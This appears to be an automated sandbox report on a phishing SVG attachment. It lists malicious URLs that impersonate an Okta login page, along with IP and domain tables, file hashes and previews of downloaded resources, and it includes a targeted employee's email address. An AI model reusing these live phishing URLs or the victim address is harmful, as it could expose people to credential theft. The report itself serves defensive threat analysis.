                  https://jonathanball.brightnexst.ru/56X5bJjmGXkBMrbGa5WdAgh7eMeFYHh89110100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/GDSherpa-bold.woff100%Avira URL Cloudphishing
                  https://whod.xqwqkd.ru/kabutar@9fuae1wb0%Avira URL Cloudsafe
                  https://jonathanball.brightnexst.ru/GDSherpa-bold.woff2100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGER100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/GDSherpa-vf.woff2100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/favicon.ico100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/stFhtkB7TEKly1H3IQUoWNWNEgR63B68uEcYXepvF3AHX7GE67Gv0ceQWiQlcXnBCfG922mEt5PFV2czgh260100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/opJRxGc2xy8ooEdQ2exZsxyvxEPWhh7x1zr4uISuvBhfs3VacaHPGmUsJcd195100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/ijYmAVfZSWHuzFZDqTfjAGUob2bMLToNsDh1jKWaKHhklOCkOcZtRNI77YnjCg5gS12201100%Avira URL Cloudphishing
                  https://3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es/NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErspULfBJvvEFYdW6yznK9ybuv390%Avira URL Cloudsafe
                  https://jonathanball.brightnexst.ru/qrJwdR1NxSQXnL1OWwjVhdWEzkvaghVanTmGgjgvB67131100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165100%Avira URL Cloudphishing
                  https://jonathanball.brightnexst.ru/qrLVibwrc9iWg9nErfv4VcKcQuvlnThBJKb5hIl1sTcCoriBZBAfknQNBNb8cd240100%Avira URL Cloudphishing
                  https://3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es/NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErsmkd0ON1U00I1tT12qTwuv400%Avira URL Cloudsafe
                  https://a.nel.cloudflare.com/report/v4?s=jDkN2FOyGeZc3SvSEgoM0qi3Q2AS7cbkYFIchFW6kgHCarh0%2Fm5tJ1PohuQAoh00A3M6iQGWpiGhtnEqJlgrn42zDagActaJsQX7yKK9FvOrS0XfxjUb0D9kUMdZ0%Avira URL Cloudsafe
                  https://a.nel.cloudflare.com/report/v4?s=p5YmuAlh9hir6j6dwRjb29LeGFSe%2FpQg0Q8uUEWfXWaCDX2KxNHF9LNJzj%2FELu5tGA7ZOuVZkO2%2B9jOX2Mv933y3oeqU5vRoECe9gAsJPiHxQZ1F093sCd3rxxsv0%Avira URL Cloudsafe
                  NameIPActiveMaliciousAntivirus DetectionReputation
                  a.nel.cloudflare.com
                  35.190.80.1
                  truefalse
                    high
                    developers.cloudflare.com
                    104.16.2.189
                    truefalse
                      high
                      github.com
                      140.82.121.3
                      truefalse
                        high
                        ljn84jrqeg.woofradio.cfd
                        104.21.2.147
                        truefalse
                          unknown
                          jonathanball.brightnexst.ru
                          172.67.146.141
                          truetrue
                            unknown
                            3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es
                            172.67.189.188
                            truefalse
                              unknown
                              code.jquery.com
                              151.101.66.137
                              truefalse
                                high
                                cdnjs.cloudflare.com
                                104.17.25.14
                                truefalse
                                  high
                                  challenges.cloudflare.com
                                  104.18.94.41
                                  truefalse
                                    high
                                    get.geojs.io
                                    172.67.70.233
                                    truefalse
                                      high
                                      www.google.com
                                      142.250.185.196
                                      truefalse
                                        high
                                        whod.xqwqkd.ru
                                        104.21.64.1
                                        truefalse
                                          unknown
                                          d19d360lklgih4.cloudfront.net
                                          13.33.187.14
                                          truefalse
                                            high
                                            objects.githubusercontent.com
                                            185.199.110.133
                                            truefalse
                                              high
                                              s-part-0032.t-0009.t-msedge.net
                                              13.107.246.60
                                              truefalse
                                                high
                                                ok4static.oktacdn.com
                                                unknown
                                                unknownfalse
                                                  high
                                                  NameMaliciousAntivirus DetectionReputation
                                                  https://jonathanball.brightnexst.ru/56Fq10dFVhZvkCk71cd3LP6718true
                                                  • Avira URL Cloud: phishing
                                                  unknown
                                                  https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7false
                                                    high
                                                    https://jonathanball.brightnexst.ru/GDSherpa-vf2.woff2true
                                                    • Avira URL Cloud: phishing
                                                    unknown
                                                    https://a.nel.cloudflare.com/report/v4?s=p5YmuAlh9hir6j6dwRjb29LeGFSe%2FpQg0Q8uUEWfXWaCDX2KxNHF9LNJzj%2FELu5tGA7ZOuVZkO2%2B9jOX2Mv933y3oeqU5vRoECe9gAsJPiHxQZ1F093sCd3rxxsvfalse
                                                    • Avira URL Cloud: safe
                                                    unknown
                                                    https://code.jquery.com/jquery-3.6.0.min.jsfalse
                                                      high
                                                      https://jonathanball.brightnexst.ru/GDSherpa-regular.wofftrue
                                                      • Avira URL Cloud: phishing
                                                      unknown
                                                      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.jsfalse
                                                        high
                                                        https://jonathanball.brightnexst.ru/wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178true
                                                        • Avira URL Cloud: phishing
                                                        unknown
                                                        https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.cssfalse
                                                          high
                                                          https://jonathanball.brightnexst.ru/wxOq0IetkuWlrtwBlstolvJEewJ4n12130true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://a.nel.cloudflare.com/report/v4?s=jDkN2FOyGeZc3SvSEgoM0qi3Q2AS7cbkYFIchFW6kgHCarh0%2Fm5tJ1PohuQAoh00A3M6iQGWpiGhtnEqJlgrn42zDagActaJsQX7yKK9FvOrS0XfxjUb0D9kUMdZfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          https://jonathanball.brightnexst.ru/ijYmAVfZSWHuzFZDqTfjAGUob2bMLToNsDh1jKWaKHhklOCkOcZtRNI77YnjCg5gS12201true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://jonathanball.brightnexst.ru/ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://jonathanball.brightnexst.ru/qrJwdR1NxSQXnL1OWwjVhdWEzkvaghVanTmGgjgvB67131true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://jonathanball.brightnexst.ru/efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://jonathanball.brightnexst.ru/stFhtkB7TEKly1H3IQUoWNWNEgR63B68uEcYXepvF3AHX7GE67Gv0ceQWiQlcXnBCfG922mEt5PFV2czgh260true
                                                          • Avira URL Cloud: phishing
                                                          unknown
                                                          https://3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es/NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErspULfBJvvEFYdW6yznK9ybuv39false
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallbackfalse
                                                            high
                                                            https://jonathanball.brightnexst.ru/rqqr2dn2MveG1ryZi6XOHuRzADeoa0tkPM6rGUeHD2iuZIIjytrue
                                                            • Avira URL Cloud: phishing
                                                            unknown
                                                            https://jonathanball.brightnexst.ru/ujJMp4UWprK216fgUSG9qses9SqIlMlOaylS7JH5r2tI9cqtrue
                                                            • Avira URL Cloud: phishing
                                                            unknown
                                                            https://jonathanball.brightnexst.ru/GDSherpa-regular.woff2true
                                                            • Avira URL Cloud: phishing
                                                            unknown
                                                            https://jonathanball.brightnexst.ru/abYHpYFvpqEccd28true
                                                            • Avira URL Cloud: phishing
                                                            unknown
                                                            https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssfalse
                                                              high
                                                              https://jonathanball.brightnexst.ru/pax6lf1/true
                                                              • Avira URL Cloud: phishing
                                                              unknown
                                                              https://jonathanball.brightnexst.ru/sowk0pwIzMKIOObBz3Ya0sP9tr3OaXBtntrue
                                                              • Avira URL Cloud: phishing
                                                              unknown
                                                              https://jonathanball.brightnexst.ru/56X5bJjmGXkBMrbGa5WdAgh7eMeFYHh89110true
                                                              • Avira URL Cloud: phishing
                                                              unknown
                                                              https://whod.xqwqkd.ru/kabutar@9fuae1wbfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              https://a.nel.cloudflare.com/report/v4?s=bq%2B5XawCQmteboeIPQyBCbT5dGmpLbqavDYS4O6PqNHgXWnK8aybmqDo9TvTW%2FxaFRCnQTh654l1yoGpMbCSzmG2XQyyM1r6VZyB5aGGbeQzTea2a7mjnbbBuAZFfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              https://3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.es/NWtKSjPZiUwgLpKswCneMdFgOJAZTPKHQZPJSWGNRXFRISHZLBRFAXGSVAPWAUWQZXNZGLWGVUOGNRNHHErsmkd0ON1U00I1tT12qTwuv40false
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              https://developers.cloudflare.com/favicon.pngfalse
                                                                high
                                                                https://jonathanball.brightnexst.ru/opJRxGc2xy8ooEdQ2exZsxyvxEPWhh7x1zr4uISuvBhfs3VacaHPGmUsJcd195true
                                                                • Avira URL Cloud: phishing
                                                                unknown
                                                                https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.jsfalse
                                                                  high
                                                                  https://jonathanball.brightnexst.ru/pax6lf1/#gtshegofatso.bayibayi%40jonathanball.co.zatrue
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165true
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERtrue
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://ljn84jrqeg.woofradio.cfd/s3ZB8iDtdMrTte2MyzTiUjEDrXW1cMa77GwJbLStKdOdSKK7VRvGSuu4g1tzJRa9caHDiCspbCsFvUXCckaqN1cvkl3enGT1S2S37XzMmUh9t8BmJ5Pb6ubN7MhmiM5axSSWCxvtFQoIbOuvzhIqQbQlpqTdNJCONjvcSyzJRDZNp51zjlMHMhl4oNmVhDAq3vNxYcPs/PGkpW9YW8V3Fgf0PewDIzjvrmvlkWMTVy5dIfK7TGjV2pGKMYWuFCAQv1xZfw1n9NqWumVROjZZcUrM2QOsCog6F8VAWwJFPKCz2sQVPkqiiwtdMtlYWQckgYgISACPLA5cjorl8zhHATetXqIGLpsf07ZwYcMslYGxjehSn6nkhdx5OdzRl8gM22Be7cyevcWg6lmd4/tshegofatso.bayibayi@jonathanball.co.zafalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/GDSherpa-bold.wofftrue
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/favicon.icotrue
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/GDSherpa-bold.woff2true
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://jonathanball.brightnexst.ru/qrLVibwrc9iWg9nErfv4VcKcQuvlnThBJKb5hIl1sTcCoriBZBAfknQNBNb8cd240true
                                                                    • Avira URL Cloud: phishing
                                                                    unknown
                                                                    https://get.geojs.io/v1/ip/geo.jsonfalse
                                                                      high
                                                                      https://jonathanball.brightnexst.ru/GDSherpa-vf.woff2true
                                                                      • Avira URL Cloud: phishing
                                                                      unknown
                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs
                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      172.67.146.141
                                                                      jonathanball.brightnexst.ruUnited States
                                                                      13335CLOUDFLARENETUStrue
                                                                      142.250.185.78
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      142.250.186.170
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      173.194.76.84
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      104.18.94.41
                                                                      challenges.cloudflare.comUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      13.33.187.14
                                                                      d19d360lklgih4.cloudfront.netUnited States
                                                                      16509AMAZON-02USfalse
                                                                      104.21.64.1
                                                                      whod.xqwqkd.ruUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      104.21.49.96
                                                                      unknownUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      172.67.189.188
                                                                      3hfehrlyxlfeaixumpildttjxqoxgh2qks9oqqw92stqm0dlwv9.amayaxw.esUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      142.250.185.163
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      104.21.2.147
                                                                      ljn84jrqeg.woofradio.cfdUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      151.101.66.137
                                                                      code.jquery.comUnited States
                                                                      54113FASTLYUSfalse
                                                                      142.250.186.131
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      35.190.80.1
                                                                      a.nel.cloudflare.comUnited States
                                                                      15169GOOGLEUSfalse
                                                                      185.199.110.133
                                                                      objects.githubusercontent.comNetherlands
                                                                      54113FASTLYUSfalse
                                                                      104.16.2.189
                                                                      developers.cloudflare.comUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      142.250.74.195
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      1.1.1.1
                                                                      unknownAustralia
                                                                      13335CLOUDFLARENETUSfalse
                                                                      104.21.32.1
                                                                      unknownUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      13.33.187.68
                                                                      unknownUnited States
                                                                      16509AMAZON-02USfalse
                                                                      140.82.121.3
                                                                      github.comUnited States
                                                                      36459GITHUBUSfalse
                                                                      142.250.185.196
                                                                      www.google.comUnited States
                                                                      15169GOOGLEUSfalse
                                                                      172.67.70.233
                                                                      get.geojs.ioUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      104.21.41.104
                                                                      unknownUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      142.250.184.238
                                                                      unknownUnited States
                                                                      15169GOOGLEUSfalse
                                                                      104.17.25.14
                                                                      cdnjs.cloudflare.comUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      104.26.0.100
                                                                      unknownUnited States
                                                                      13335CLOUDFLARENETUSfalse
                                                                      IP
                                                                      192.168.2.8
                                                                      192.168.2.17
                                                                      192.168.2.7
                                                                      192.168.2.18
                                                                      192.168.2.4
                                                                      192.168.2.5
                                                                      Joe Sandbox version:42.0.0 Malachite
                                                                      Analysis ID:1642944
                                                                      Start date and time:2025-03-19 12:42:18 +01:00
                                                                      Joe Sandbox product:CloudBasic
                                                                      Overall analysis duration:
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:full
                                                                      Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                      Number of analysed new started processes analysed:9
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:0
                                                                      Technologies:
                                                                      • EGA enabled
                                                                      Analysis Mode:stream
                                                                      Analysis stop reason:Timeout
                                                                      Sample name:3414736839.svg
                                                                      Detection:MAL
                                                                      Classification:mal100.phis.evad.winSVG@22/33@44/275
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .svg
                                                                      • Exclude process from analysis (whitelisted): SIHClient.exe
                                                                      • Excluded IPs from analysis (whitelisted): 13.107.246.60
                                                                      • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report size getting too big, too many NtOpenFile calls found.
                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                      • VT rate limit hit for: jonathanball.brightnexst.ru
                                                                      • VT rate limit hit for: ljn84jrqeg.woofradio.cfd
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):128
                                                                      Entropy (8bit):4.750616928608237
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:D90F02F133E7B82AF89B3E58526AC459
                                                                      SHA1:F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
                                                                      SHA-256:FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
                                                                      SHA-512:83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCSNCWwMI3lANEgUNX1f-DRIFDRObJGMhcAW0z4NoIVkSSgmAh2-SqPSq7hIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0IWFUwG3DO4r4?alt=proto
                                                                      Preview:ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
                                                                      Category:dropped
                                                                      Size (bytes):10796
                                                                      Entropy (8bit):7.946024875001343
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:12BDACC832185D0367ECC23FD24C86CE
                                                                      SHA1:4422F316EB4D8C8D160312BB695FD1D944CBFF12
                                                                      SHA-256:877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
                                                                      SHA-512:36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.....*..dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...*ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (10450)
                                                                      Category:downloaded
                                                                      Size (bytes):10498
                                                                      Entropy (8bit):5.327380141461276
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:E0D37A504604EF874BAD26435D62011F
                                                                      SHA1:4301F0D2B729AE22ADECE657D79ECCAA25F429B1
                                                                      SHA-256:C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
                                                                      SHA-512:EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
                                                                      Preview:a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):48316
                                                                      Entropy (8bit):5.6346993394709
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:2CA03AD87885AB983541092B87ADB299
                                                                      SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                      SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                      SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                                                      Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:SVG Scalable Vector Graphics image
                                                                      Category:downloaded
                                                                      Size (bytes):2905
                                                                      Entropy (8bit):3.962263100945339
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:FE87496CC7A44412F7893A72099C120A
                                                                      SHA1:A0C1458C08A815DF63D3CB0406D60BE6607CA699
                                                                      SHA-256:55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
                                                                      SHA-512:E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178
                                                                      Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:HTML document, ASCII text, with very long lines (19873), with CRLF line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):24916
                                                                      Entropy (8bit):5.943242486983532
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:B265DF4AFF5C6C7F89F954327E431F51
                                                                      SHA1:145AEA6DC2933D367206211EE5C3B6EC100AE295
                                                                      SHA-256:0E016D38CD64BBB9BEE61EC8C9A458B6EA4D04592AEBF6E2E41A924CF61347EE
                                                                      SHA-512:AAE6D4B59F506BF10341A7E2564DC481AC7ED73BCDC6DCE52AA4028DC0AD7BA0FF839596A29661F05B789AF6B0363AE14FE2C9F8EBCF8A3C0C27B8F1716EEC7B
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/pax6lf1/
